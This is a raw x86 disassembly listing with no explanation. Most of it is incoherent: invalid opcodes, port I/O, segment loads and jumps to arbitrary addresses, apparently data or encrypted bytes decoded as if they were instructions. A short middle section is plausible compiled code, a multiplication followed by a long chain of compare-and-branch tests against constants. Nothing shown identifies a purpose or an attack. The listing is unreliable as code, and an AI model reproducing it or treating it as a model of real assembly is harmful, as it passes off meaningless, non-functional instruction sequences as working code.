call 0x98bc5003
movsb byte es:[edi], byte [esi]
mov edx, 0xdff4b17e
and eax, ecx
insb byte es:[edi], dx
test bh, dl
jae 0x67dc2007
sal esi, 1
pop esp
cmpsb byte [esi], byte es:[edi]
mov word [ebp + 0xb], ss
dec edx
rcl byte [edi - 0x10], cl
dec esi
jg 0x67dc2065
cdq
fcom qword [ecx + 0x4c]
xchg edi, eax
loopne 0x67dc2011
jbe 0x67dc20e1
mov ebx, 0xfacead55
rcl dword [0xa6ec7c99], cl
mov ds, ebp
inc edi
jbe 0x67dc2061
sub al, dl
popfd
ror dword [eax], 1
aad 0x48
or dword [esi + esi*2 - 0x330e2d29], esi
mov dh, 0xd7
mov ebx, 0x9f4fee1d
js 0x67dc2096
int1
int3
retf
outsd dx, dword [esi]
adc ah, byte [ebp + 0x7f3d9f04]
inc eax
mov dword [0xb3894aa], eax
pop esp
dec ebx
push edi
popal
inc byte [ecx + 0x5fd696b8]
mov byte [0x71b459a9], al
pop esi
and al, 0x41
jp 0x67dc20e1
add dword [ecx - 0x461f3dee], ebp
fist dword [0x9727b0ae]
push ds
sub byte [ecx], dh
mov dword [esp + ebx - 0x40], ebp
fisub word [eax - 0x70]
int3
dec ebp
cmpsd dword [esi], dword es:[edi]
test byte [esi + 0x5724f436], ah
stosd dword es:[edi], eax
out 0x88, al
nop
int3
and byte [esp + ebx + 0x6621d04b], cl
pushfd
arpl word [eax], di
xchg edi, eax
push 0x3a06475e
ret
arpl word [ebx - 0x5b], dx
jbe 0x67dc2558
pop ss
aaa
daa
fsubr qword [esi - 0x7bf2eeb8]
aam 0xaa
int 0xe7
ficomp dword [ebp - 0x30929e58]
shr dword [esi + eax*8], cl
push esi
or bl, 0x25
daa
adc eax, 0xa0715fe9
cld
fadd dword [ecx - 0x63]
jae 0x67dc2592
dec esi
inc ebp
popfd
cmp al, 0x21
adc bh, byte [ebx - 0x6fd93337]
int3
xchg edi, eax
jecxz 0x67dc256d
insd dword es:[edi], dx
or ah, byte [ebx + 0x62]
xor byte [eax], 0x11
lodsb al, byte [esi]
add byte ss:[edi + 0x4d0e1350], 0xcd
shr al, 1
mov dword [0x56c54b6b], eax
aaa
mov eax, 0xbbe41594
mov ebx, 0x7a79b553
mov edx, dword [esi + ebp*4]
xlatb
int1
loop 0x67dc25bd
sub al, 0xb2
jle 0x67dc25b8
stosb byte es:[edi], al
pop esp
fisttp dword [edi - 0x6cc4804b]
stosb byte es:[edi], al
mov al, 0x50
or dl, bh
fucomp st(3)
jg 0x67dc267e
cmp al, 0xcc
dec ecx
pop ds
mov edi, 0xb0eb9653
xor al, ch
mov esi, 0xfb719c2
int1
cmp al, 0x62
adc ch, byte [ecx - 0x43303ea3]
outsd dx, dword [esi]
sbb cl, 0x16
nop
int3
movsb byte es:[edi], byte [esi]
fadd st(4)
pop ecx
popfd
add byte [ecx + 0x36], 0xcd
sbb ecx, ecx
cdq
iretd
and al, 0xcd
or eax, 0xd5ab74a6
test byte [edx], bl
mov esi, 0x669663b1
pop eax
xchg edi, eax
cmp eax, 0x94b7ebd3
or dword [ebx + edx*4], eax
push edi
sub byte [esi], 0x8c
into
ret 0xe60e
pop ebx
mov esp, 0xab052880
mov al, 0x12
jg 0x67dc2b55
int 0x6d
mov al, byte [0x996ca04c]
pop ebx
sti
invalid
nop
jmp 0x67dc3191
nop
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x134]
mov dword [eax], edx
mov dword [ebp - 0x190], 0x79a76
mov dword [ebp - 0x18c], 0
mov dword [ebp - 0x198], 0x35784
mov dword [ebp - 0x194], 0
mov eax, dword [ebp - 0x18c]
imul eax, dword [ebp - 0x198]
mov edx, eax
mov eax, dword [ebp - 0x194]
imul eax, dword [ebp - 0x190]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x190]
mul dword [ebp - 0x198]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], edx
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], edx
mov eax, dword [ebp - 0x1a0]
xor eax, 0x68cbbed8
mov edx, dword [ebp - 0x19c]
xor edx, 0x19
or eax, edx
je 0x67dca589
mov edx, 0x68cbbed8
mov eax, 0x19
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x67dca58c
mov eax, dword [ebp - 0x1a0]
xor eax, 0xf14c1
or eax, dword [ebp - 0x19c]
je 0x67dc591f
mov edx, 0xf14c1
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x67dca58c
mov eax, dword [ebp - 0x1a0]
xor eax, 0xe0bcc
or eax, dword [ebp - 0x19c]
je 0x67dc9fab
mov edx, 0xe0bcc
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x67dca58c
mov eax, dword [ebp - 0x1a0]
xor eax, 0xd3f35
or eax, dword [ebp - 0x19c]
je 0x67dc4d5d
mov edx, 0xd3f35
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x67dca58c
mov eax, dword [ebp - 0x1a0]
xor eax, 0xcec11
or eax, dword [ebp - 0x19c]
je 0x67dc99ca
mov edx, 0xcec11
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x67dca58c
mov eax, dword [ebp - 0x1a0]
xor eax, 0x928f1
or eax, dword [ebp - 0x19c]
je 0x67dc64e1
mov edx, 0x928f1
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x67dca58c
mov eax, dword [ebp - 0x1a0]
xor eax, 0x7cb82
or eax, dword [ebp - 0x19c]
je 0x67dc6ac2
mov edx, 0x7cb82
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x67dca58c
mov eax, dword [ebp - 0x1a0]
xor eax, 0x73be6
or eax, dword [ebp - 0x19c]
je 0x67dc8e08
mov edx, 0x73be6
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x67dca58c
mov eax, dword [ebp - 0x1a0]
xor eax, 0x67074
or eax, dword [ebp - 0x19c]
je 0x67dc93e9
mov edx, 0x67074
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x67dca58c
mov eax, dword [ebp - 0x1a0]
xor eax, 0x61fd6
or eax, dword [ebp - 0x19c]
je 0x67dc477c
mov edx, 0x61fd6
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x67dca58c
mov eax, dword [ebp - 0x1a0]
xor eax, 0x617e1
or eax, dword [ebp - 0x19c]
je 0x67dc5f00
mov edx, 0x617e1
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x67dca58c
mov eax, dword [ebp - 0x1a0]
xor eax, 0x53704
or eax, dword [ebp - 0x19c]
je 0x67dc8246
mov edx, 0x53704
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x67dca58c
mov eax, dword [ebp - 0x1a0]
xor eax, 0x46ee5
or eax, dword [ebp - 0x19c]
je 0x67dc419b
mov edx, 0x46ee5
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x67dca58c
mov eax, dword [ebp - 0x1a0]
xor eax, 0x41c6c
or eax, dword [ebp - 0x19c]
je 0x67dc70a3
mov edx, 0x41c6c
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x67dca58c
mov eax, dword [ebp - 0x1a0]
xor eax, 0x3c1bb
or eax, dword [ebp - 0x19c]
je 0x67dc8827
mov edx, 0x3c1bb
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x67dca58c
mov eax, dword [ebp - 0x1a0]
xor eax, 0x2e00e
or eax, dword [ebp - 0x19c]
je 0x67dc35d9
mov edx, 0x2e00e
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x67dca58c
mov eax, dword [ebp - 0x1a0]
xor eax, 0x22c1d
or eax, dword [ebp - 0x19c]
je 0x67dc533e
mov edx, 0x22c1d
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x67dca58c
mov eax, dword [ebp - 0x1a0]
xor eax, 0x197f4
or eax, dword [ebp - 0x19c]
je 0x67dc7c65
mov edx, 0x197f4
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x67dca58c
mov eax, dword [ebp - 0x1a0]
xor eax, 0x46e
or eax, dword [ebp - 0x19c]
je 0x67dc3bba
mov eax, dword [ebp - 0x1a0]
xor eax, 0x839d
or eax, dword [ebp - 0x19c]
je 0x67dc7684
jmp 0x67dca58c
in al, 0x3c
dec edx
add al, 0xb9
push ebx
idiv byte [ebp - 0xbcce10b]
and ebx, dword [ecx - 0x2c3ab133]
sub eax, 0x96015208
arpl word [ecx - 0x1d0493f8], di
inc esp
or al, 0xcf
inc eax
insb byte es:[edi], dx
invalid
dec esi
outsb dx, byte [esi]
adc byte [esi + 0x43], 0xde
hlt
mov bh, 0x72
pop ds
hlt
fld1
xor al, 0x65
das
out dx, al
imul edi, dword [esi + 0x29], 0x6b50ce64
repne stosd dword es:[edi], eax
cmp cl, byte [ecx]
sub al, 0xfd
ljmp 0x9d8d
push eax
xchg dword [ebx + 0x8cd9dbd], edx
out 0x12, al
xlatb
mov dh, 0xd6
sbb esi, dword [edi + 0x2bbd7bfc]
mov eax, dword [0x6d55dac]
ja 0x67dc4da0
invalid
pop esi
loope 0x67dc4d30
inc esi
cdq
aam 0xdf
aam 6
arpl bp, sp
push ss
popal
cmp byte [eax + 0x73], ah
ret
ret
inc eax
cmpsd dword [esi], dword es:[edi]
fisttp qword [edi - 0x770fa85d]
ret 0x728d
rcl dh, cl
nop
mov bl, 0x6d
lodsb al, byte [esi]
clts
invalid
and bl, byte [edi + 0x27463638]
sub dword [esi - 0x26], eax
out dx, eax
out dx, al
in eax, dx
fdivrp st(4)
jae 0x67dc595c
sub al, 0x20
test byte [ebx], 0xb7
lcall 0xeb7c, 0x37606d9e
and ch, byte [esi]
sti
sub edx, dword [0xe902f66f]
movsd dword es:[edi], dword [esi]
cmpsd dword [esi], dword es:[edi]
push eax
int3
enter 0xffffffffffffa06d, 0xffffffffffffffb2
dec esp
jge 0x67dc58d3
mov al, byte [0x807d4cb2]
invalid
daa
mov dword [eax - 5], edi
pop dword [ebx]
cmovle ebp, dword [edx]
pop ebp
mov al, 0x1f
inc esi
cmp al, 0xd9
cdq
sub dword [eax - 0x6669e441], edi
or byte [esi + 0x4e], dh
cmc
push ebp
inc ecx
add eax, 0x1718ba8a
rcl bh, 1
test eax, 0x20acc90
inc eax
into
jae 0x67dc59db
mov byte [0xb3f4ab22], al
push ss
bound edx, qword [ebp + 0x79]
cmp al, 0xb2
js 0x67dc5962
cmp al, 0xa0
or byte [ebx + 0x20c9a18a], ah
jge 0x67dc594c
cli
lahf
sub ebp, esi
xchg bh, ch
ror ebx, cl
jae 0x67dc59c5
dec ebp
and ebp, ebp
pop ebx
cmp ebp, edx
or byte [ebx + 0x19a116ba], ah
inc ebp
mov ecx, 0x8e6ce3aa
loope 0x67dc594e
mov fs, ecx
invalid
cmp ebp, dword [ecx - 0x9786686]
stosd dword es:[edi], eax
mov edi, 0xb0d4078c
loopne 0x67dc59bd
imul byte [ebx - 0x2bf87341]
mov al, 0xe0
out dx, eax
cmp byte [ebx + 0x3a], dl
invalid
adc ecx, edx
invalid
retf 0x4ba4
in al, dx
mov dl, 0x6e
nop
push ebp
popfd
das
int 0x2b
jmp 0x67dc5eab
mov cl, 0xb6
inc esp
enter 0xffffffffffffd3e1, 0xffffffffffffffbf
pop ds
xor dword [ebp + 0x13], ebx
mov dword [esi + ebp*2 + 0x69719536], eax
xor ecx, dword [esp + ebx*4]
stosb byte es:[edi], al
fmul st(4), st(0)
cmpsd dword [esi], dword es:[edi]
xor esi, esi
cwde
std
into
lodsd eax, dword [esi]
adc dword [ebp - 0x57], ecx
nop
int3
rcr dword [ebx + ebx*4 - 0x6476ffc1], 1
dec esi
dec ebp
push ds
add eax, 0x6f0f79e9
or esi, ebp
jmp 0x67dc63f0
aam 0x8a
cmp al, 0x24
pushfd
add dword [edi - 0x1196da8c], ebp
clc
dec eax
jns 0x67dc6450
fistp qword [esi + 0x75]
iretd
jo 0x67dc650d
add byte es:[ebx - 0x41], 0x45
pop ss
out 0xe4, eax
mov byte [ecx + ebx*2 + 0x4dd738e6], al
inc eax
movsd dword es:[edi], dword ss:[esi]
fucom st(7)
rcl byte [edx + 0x583f80f0], 0x28
push esi
pop ecx
leave
adc dword [eax - 0x16336f27], eax
lodsb al, byte [esi]
inc eax
add byte [eax], al
cld
inc ecx
dec esp
add esp, dword [edx]
sbb esp, ecx
inc edi
loop 0x67dc6498
cmp byte [esi + 0x69], ah
and eax, 0xd329a7d5
stc
push edi
adc ebp, dword [eax + 0x73]
test dword [ecx + edi], esp
cmpsd dword [esi], dword es:[edi]
dec ecx
std
test eax, esp
adc byte [ebx], dh
stosd dword es:[edi], eax
aas
sbb cl, byte [esi - 0x73]
cli
inc ebx
mov bh, 0x63
fist word [ebx + 0x4c]
dec esp
inc esp
jbe 0x67dc651c
mov eax, 0x1a82d99d
leave
cmp dl, byte [ebx - 0x180e329f]
mov bl, 0x5d
out 0xb3, eax
pop ebp
loope 0x67dc64b7
outsd dx, dword [esi]
cmp ecx, dword [edx + 0x64]
pop ebp
sub dword [ebp - 0x76], ecx
mov ch, byte [ebp - 0x6b099f53]
and dword [ecx + 0xc74da05], eax
int 0xc6
jl 0x67dc658b
push 0x98ec808f
into
lodsb al, byte [esi]
cdq
or bl, ch
nop
int3
enter 0x379e, 5
int 0x93
push ss
in al, dx
cmp al, 0xb8
add al, 0x41
and dword [edx - 0x7427c2c0], edx
inc ebx
scasb al, byte es:[edi]
push edi
lodsd eax, dword [esi]
ret 0x80af
jmp 0x67dc6b36
aaa
mov al, 0x54
mov ecx, 0x4a92a77e
xor dword [ebx], esp
xchg edx, eax
jns 0x67dc6bb1
sbb bl, dh
dec edx
sal byte [esi + 0x4f], 1
cmpsb byte [esi], byte es:[edi]
jnp 0x67dc6b29
daa
push ds
xor eax, 0x36faad2b
xchg byte [ecx + 5], dl
mov dh, 0x7e
invalid
in eax, dx
mov dh, 0x67
cmp al, 0x16
pushfd
clc
call 0x41384241
lodsd eax, dword [esi]
fdiv st(4)
out dx, eax
jne 0x67dc6bbb
fldcw word [ebp + 0x75eff4d8]
add esi, dword [edi + 0x3545a41]
mov ah, 0x43
sahf
or ecx, eax
xchg esi, eax
mov bh, 0x41
pop edx
push esp
add esi, dword [ebx + eax*2 - 0x693ef662]
jl 0x67dc6c0a
dec esp
sub al, 0x7e
push 0xffffffffffffff9d
xchg esp, eax
movsb byte es:[edi], byte [esi]
test al, 0x42
stosd dword es:[edi], eax
cmp al, 0x4b
pop ebx
add dword [ebp + esi*8 + 1], ebp
add dword [ecx + 0xda2a885], esi
adc dword [ebp + ebp*4 + 0x5d], ebp
inc eax
jb 0x67dc6c25
arpl word [esi - 0x18], bx
loop 0x67dc6c66
xor ecx, esi
sub byte [eax + 0x2474a0cc], dl
pop ss
retf
mov esi, 0x75212e8f
lodsb al, byte [esi]
xchg ebp, eax
push es
inc edx
sal dword [ebx], 1
mov al, 0xbb
jne 0x67dc6ba6
enter 0xffffffffffffbe87, 0xfffffffffffffffb
and ecx, dword [ebx]
je 0x67dc6c90
ficomp word [ebx]
xor al, 0xd9
add ecx, ecx
sub dword [0x1edaeed4], esp
invalid
or ebp, dword [eax - 0x24139647]
stosb byte es:[edi], al
inc esp
jo 0x67dc6ca6
leave
pop es
mov bh, 0x9a
sal ecx, 0x47
sbb ebx, edi
fistp qword [ecx + 0x6fb47a82]
je 0x67dc6c12
xor dword [esi + 0x26f9be14], ebx
mov edx, 0x824d6ce0
adc al, 0xbe
stc
mov edx, 0x824d6ce0
and eax, 0x8b9ea527
dec esi
push cs
mov ecx, dword [esi + 0xe]
jnp 0x67dc6c83
and byte [eax - 0x28], bl
inc ecx
aas
mov ebp, 0x7d2de3c8
push esi
adc dword [eax + 0x190ff25f], 0xffffffe4
pop ebx
in al, 0x5b
sub eax, eax
sbb dword [ebx + 0x3046e6de], ebp
adc eax, 0x90edef5b
int3
ret 0xa6f4
push ds
sbb byte [ecx - 0x79526c53], al
shr bl, 1
jmp 0x67dc6f3b
inc ecx
pop ds
sub eax, 0x958dd717
idiv byte [edi + 0x19]
pop ecx
jae 0x67dc7004
inc ebp
mov ah, 0xfb
mov eax, dword [edx - 0x22]
sbb edi, ecx
pop ebp
xor byte [ebx + ebp*8 + 0x4ac98970], bh
dec edx
popal
mov esi, 0x1d8579
jns 0x67dc6f5e
mov ecx, fs
inc ebx
pop ecx
mov ebp, 0xe67ad012
or byte [esi], bh
fsub dword [ebx + 0x40]
inc eax
jg 0x67dc6f90
in al, 0xd
sbb byte [edi - 0x639697c0], 8
cmc
nop
mov dword [ecx - 0x70], eax
int3
test ch, dh
jbe 0x67dc700b
and al, 0x44
sti
rcr dword [edx + ebx*4 - 0x6fc26622], cl
and dword [eax], edi
push ecx
hlt
jecxz 0x67dc6fc4
mov bh, 0xa4
fild word [edi]
dec esi
cmp ecx, edx
xchg ecx, eax
invalid
add byte [ebx + edi*2], ch
dec esp
bswap edx
daa
jo 0x67dc703a
in eax, dx
pop es
xchg edx, eax
push cs
cmp al, 0xe4
invalid
out 0x7e, al
jbe 0x67dc7065
mov eax, 0x2be10547
inc edx
xor ebx, dword [ecx + ecx*4 + 0x4f]
pop ds
mov esi, 0xa9ad3a4
inc ecx
pop eax
or byte [edi - 0x59], ah
cmpsd dword [esi], dword es:[edi]
jp 0x67dc712b
push ds
add al, 0xfa
xchg byte [eax - 0x12], bh
ror byte [ecx - 0x6f7c621e], 0xc0
mov dword [esi + 0x34], ecx
sahf
jno 0x67dc70bc
rcr dword [0x9200c931], cl
dec eax
mov bl, byte [edx]
dec ebx
mov ebx, 0xc500483d
add dword [edx - 0x16], esp
adc eax, 0x4d576a28
jns 0x67dc7133
mov dword ss:[eax + ebx*2 - 0x1f], ecx
inc edx
call 0x41ab1b85
jmp 0x67dc714b
invalid
add dword [ebp - 0x4f], 0xffffff8f
out 0x9c, al
ret 0xc6f0
ljmp 0xba70:0x27d0a59e
salc
imul ebx, dword [ebp + esi + 0x5f01f4a], 7
mov dword [0x645d927a], eax
xlatb
imul dword [esi]
rcl byte [esi + 0x6352addf], 0x94
lodsd eax, dword [esi]
mov edi, 0x99f89299
test byte [ecx - 0x1aa538cf], dl
fld xword [edi + 0x7d]
aaa
dec eax
or dword [ebp + 0x1d1e05ca], 0x4d682a90
or bl, al
adc al, 0x41
fsubr qword [ebx - 0x10]
sti
xor al, 0xa6
cmp bl, cl
or dword [esi - 0x22738ce8], eax
pop dword [ebx + 0x5e65b790]
xchg ebp, eax
mov esi, 0x2d2595a9
movsb byte es:[edi], byte [esi]
cmp al, 0x37
lodsb al, byte [esi]
pop edx
bound ebx, qword [esp + eax]
sbb al, 0xf0
outsd dx, dword [esi]
and eax, 0x1314571b
nop
int3
loope 0x67dc7c75
cmpsd dword [esi], dword es:[edi]
and edi, dword [ebx]
pushfd
aad 0xb0
sbb edx, ebx
fucompp
jne 0x67dc7ce1
aad 0x23
and eax, dword [eax]
sar byte [edi - 0x473b450d], cl
add dl, dl
mov edi, 0xb8c4baf3
or al, 0x63
ja 0x67dc7ccc
cwde
loope 0x67dc7c76
inc edx
call 0xaf40e800
jge 0x67dc7c7d
xor al, 2
xor al, byte [ebx + 0x18]
mov dl, 0xf1
mov ebp, 0xfa8db82
dec edi
mov eax, 0xfe44196
pop ecx
pop eax
movsd dword es:[edi], dword [esi]
test al, 8
aam 0xac
salc
jmp 0x687d1d03
sbb edi, dword [edi + 0x64]
test byte [esi - 0x12d7275d], dl
cmp byte [ebx - 0x35], dh
scasb al, byte es:[edi]
mov ebx, 0x505fdcc6
add al, 0xf6
invalid
aas
mov bl, 9
pop ax
test ebx, esp
sti
pop esi
lodsd eax, dword [esi]
sbb esi, dword [ebx - 0x7e]
mov dh, 0xb9
popal
pop ss
push ecx
sbb byte [edi + 0x721be114], cl
in al, dx
jmp 0x7cc01ea7
nop
int3
ficomp dword [ecx + 0x55]
dec ebp
push 0xf2c15bd2
dec esi
outsd dx, dword [esi]
push cs
mov byte [0x301d4401], al
popal
mov eax, 0xdd673a88
pop ebx
jno 0x67dc828a
push ecx
cwde
push si
dec ecx
sub eax, 0xe9a1bb3d
fistp dword [esi]
pop ss
dec esp
sbb al, 0xf8
movsd dword es:[edi], dword [esi]
jecxz 0x67dc8290
outsd dx, dword [esi]
int3
jnp 0x67dc826a
in al, 0x40
mov ebx, 0x70289004
mov eax, 0x3fc17221
add al, 0x90
sub byte [eax - 0x48], dh
and dword [edx - 0x3f], esi
aas
mov byte [0x13080d0], al
call 0x73e1f522
push ebx
adc edi, dword [edi]
popfd
sub dl, byte [eax - 0x541d3534]
mov esi, 0x9b7cfe43
loope 0x67dc823e
movsb byte es:[edi], byte cs:[esi]
pushfd
dec ebx
lodsb al, byte [esi]
pop ds
or eax, 0x3b670b05
push ecx
and esp, dword [ebp - 0x68df5892]
xor al, 0x29
xlatb
pop eax
mov ss, word [edx - 0x16]
loopne 0x67dc82f8
or eax, 0xa3b9c734
cmc
aaa
cli
pop ebp
cdq
xchg edi, eax
int 0x6a
or byte ds:[ebx], bl
retf
test al, 0xe4
xor al, 0x19
xchg byte [ebx + 0x2c2c1272], al
cli
push ss
or eax, 0x29107dcc
adc ebx, dword [eax]
fst dword [eax - 0x67b38e34]
and bh, bl
xor dh, byte [edi - 0xd]
adc al, 9
dec esi
arpl word [ebx], ax
xor ch, ch
je 0x67dc8356
stosb byte es:[edi], al
xchg ebp, eax
add byte [ebx - 0x5c], ah
xor al, 0xc7
adc al, 0xf1
paddb mm2, qword [ebx - 0x66]
arpl di, si
loop 0x67dc839b
fcmovu st(0), st(0)
sbb ah, byte ss:[ebp - 0x6a1f73a5]
mov edi, 0xc99bc17
mov ah, 0xf7
stosb byte es:[edi], al
sub al, 0xac
fcmovnbe st(0), st(1)
xor eax, 0x164afe91
dec ebx
inc edx
pop eax
mov ah, 0xa6
aas
xchg ebp, eax
sbb byte [edx - 0x6e], dl
xchg edx, eax
ret 0xe617
inc esp
xor byte [ecx - 0x3fe082d9], ah
stosd dword es:[edi], eax
xchg ebp, eax
cmpsd dword [esi], dword es:[edi]
push 0x8ed9aafb
cli
mov bh, 0xe6
sti
pushfd
inc eax
cwde
mov dl, 0x37
jns 0x67dc8408
cmp al, 0x15
clc
inc ebx
push eax
push ebx
mov eax, dword [0xe2f4bbad]
cld
jo 0x67dc8392
jg 0x67dc8411
fldenv [ecx - 0x62]
mov esi, 0xda7476f5
movsb byte es:[edi], byte [esi]
and bh, byte [edi + edi*2]
int1
adc cl, bl
cmp eax, 0x66994631
in eax, dx
xchg ebx, eax
outsd dx, dword [esi]
nop
int3
xor al, 0x3c
mov ebp, 0x5168d40f
movsb byte es:[edi], byte [esi]
popal
int1
xor bl, byte [esi]
cmp dword [edi + 0x4b], 0x5f
jmp 0x67dc848b
outsb dx, byte [esi]
lds esi, [edi - 0x4484f84a]
sahf
sub edi, dword [ebp + 0x46]
mov esi, 0x4bde9b78
pop ss
fild word [ebp - 0x46]
inc ecx
sbb al, 0x6b
sub ebx, ebp
and bl, dh
or ah, dh
imul esp, dword [eax], 0xffffffae
pop ecx
jg 0x67dc8477
xor ebp, dword [edi]
nop
int3
mov bh, 0xf5
push edi
rcpps xmm3, xmmword [ebp - 0x4a]
mov ah, 0x83
lahf
pop ds
xchg ebx, eax
xor eax, 0x72ea5108
ret
mov bh, 0xa1
or eax, 0x65006688
dec ebp
imul ecx, dword [esi + 0x58a5b166], 0x1e5b7b3e
xor al, 0x45
not dword [edi - 0x9cc8f66]
lds esi, [esi]
xchg esi, eax
adc dword [ecx], 0x2d
ja 0x67dc8e4f
mov edi, ecx
stosb byte es:[edi], al
dec esi
aad 0xb2
xor eax, 0x25553871
mov dl, 0xc4
rcl byte [eax - 0x1a5ddb0], cl
cmp byte [edx + 4], dh
cmp dword [ebx], esp
pushfd
xchg esp, eax
mov byte [edx], ah
and eax, 0xe245a179
popfd
rcr dword [esi - 0x32e303f6], 1
or bh, ah
sbb al, 0xcd
mov al, 0xa3
ror dword [ebx - 0x6c2e2f0e], cl
dec esi
inc ecx
xchg ebx, eax
mov byte [0x2e36f2f4], al
mov edx, dword [edx]
rcr dword [ebx - 3], cl
insd dword es:[edi], dx
nop
int3
xchg ebp, eax
imul dl
sbb al, 0x7a
lahf
test dword [ebp - 0xb3e8da1], esp
sub dword [eax], eax
imul ebx, dword [ecx + 0x4db56962], 0xfffffffe
dec eax
pop esp
pushal
cmpsd dword [esi], dword es:[edi]
adc ch, byte [esi - 0x48ed2da7]
int1
jb 0x67dc945b
mov ecx, 0x9eb6926c
invalid
and eax, 0x810ea16c
sbb cl, bl
in al, 0xee
xchg cl, bh
xlatb
insd dword es:[edi], dx
aad 0x84
jp 0x67dc9492
rcl byte [esi - 0x9220f8a]
mov bl, 0xc
retf
out dx, al
test dword [edi - 0x27], 0x11613b44
sahf
jge 0x67dc9413
das
wait
fimul dword [ebx + 0x1e]
xlatb
test eax, 0x7eec9c98
sar byte [edx - 0x11], cl
dec ebp
inc edx
sbb ebp, esi
mov esi, 0x81034560
imul ecx, ecx, 0xb1e2d803
nop
sti
loop 0x67dc94ec
mov ch, 0xa9
test al, 0x8e
enter 0x2702, 0xffffffffffffff97
cmp eax, 0x65529936
inc esp
push edx
inc esp
in eax, dx
test cl, cl
test esi, 0x1973cb
jle 0x67dc9502
insd dword es:[edi], dx
adc al, 0xed
mov byte [edi - 0x21], bh
xchg edi, eax
inc esi
pop ss
push ebp
nop
pop esi
cmp al, 0x48
nop
int3
xchg esp, eax
shr byte [ecx - 0x2af86622], 1
cmp dword [ebp + 0x38], esi
imul eax, dword [edi + edi*4 + 0x53], 0x1e6c1782
inc esp
test byte [ebx - 0xde9106e], bh
push es
out dx, eax
push ss
push es
mov ah, byte [0xd82c3d1d]
salc
mov al, 0xa2
xor bh, byte [ecx]
out dx, eax
and edx, dword [eax - 0x1692f734]
loop 0x67dc9570
mov dh, 0x36
lea edx, [edx + 0x1a]
sub byte [ebx - 0x67c872f1], dl
into
cwde
xchg esp, eax
lcall 0x10a4, 0x613db4f7
xchg ebx, eax
cmp al, 0x23
lodsb al, byte [esi]
mov eax, dword [0xfb5451ae]
jecxz 0x67dc9594
pop ds
in eax, 0xb0
test byte [esi*8 - 0x536e2460], ah
ret 0x3dc5
push ebx
or bh, byte [esi + 0x10]
insb byte es:[edi], dx
enter 0xffffffffffff90fa, 0xffffffffffffffcc
lea esp, [ebp + 0x51]
pop edx
pop esp
and eax, 0x3cdaca7b
out 0xb6, al
test eax, 0x30050fe
stc
and edi, dword [esi - 0x648da3e9]
insd dword es:[edi], dx
dec esi
push ebx
test eax, 0xb69f4df6
pop ebx
fcom qword [esi + eax*4 - 0x63144723]
shl ch, 1
sub byte [ecx + ebx*8 - 0x26143421], cl
aam 0x42
mov cl, 0x16
inc esp
loop 0x67dc95e5
xchg ecx, eax
out dx, eax
loop 0x67dc95e7
sbb dword fs:[ecx - 0x31dfdb0d], esp
adc ah, 0xcc
enter 0xffffffffffffab47, 0x32
daa
test dword [esi], ebp
aaa
bound esp, qword [eax + 0x1f957848]
fucomi st(3)
pop ecx
mov ah, 0x2a
xchg ecx, esi
adc al, 0x8f
mov cs, word [eax - 0x17]
mov ss, word [eax + 0x7ce181cc]
pop esp
insb byte es:[edi], dx
inc esi
add ecx, dword [ecx]
sar byte [esi - 0x1e176953], 0xeb
adc dword [ebp - 0x547f5d7f], 0x41
pop edi
leave
or al, 0x85
dec ebx
lodsd eax, dword [esi]
xchg esi, eax
call 0xfd6081cf
and dword [edx + 0x5f41ab80], 0x4b850cc9
enter 0x3970, 0x4b
xchg ebx, eax
sub al, byte [esi - 0x5265a8a5]
sbb eax, 0x407735df
mov ah, 0xa6
or byte [ebp + 0x5c], cl
test al, 0xdd
aam 0x8e
aaa
aam 0x3f
arpl word [eax - 0x2c4d061], cx
loop 0x67dc95b1
sbb eax, dword [edi + ebx]
inc ebx
xchg byte [esi + 0xa2ba4b0], al
push eax
or dword [eax + 0x10], esi
int3
add byte [eax - 0x1c], bh
cmp bl, ah
out dx, al
sbb al, 0x4d
push 0x6e
adc ebx, eax
in al, dx
pushfd
pop ecx
cmp dword [edx + 0xe], ebp
pop ecx
stosd dword es:[edi], eax
inc eax
or edi, dword [ecx - 0x6f]
inc esi
invalid
mov ebx, dword [eax]
jo 0x67dc9992
adc ah, byte [edi]
cmp byte [edx + 0x5c], dl
scasd eax, dword es:[edi]
adc bl, byte [ecx]
jne 0x67dc99a1
cld
mov eax, 0x76bfd925
pop esp
mov dh, 0xe2
into
cmp word ss:[esi - 0x322b95d1], ax
add dword [edx], 0x74
popal
mov ecx, 0x92bbe351
sbb eax, esi
mov ch, bl
xchg edi, eax
add ebp, 0xd8641fc2
mov ebp, 0x9279ddcd
xchg edi, eax
push ebp
mov dword [0x31c5978d], eax
test eax, 0xc318b14e
dec edx
inc edx
leave
mov al, byte [0x9ac2490d]
invalid
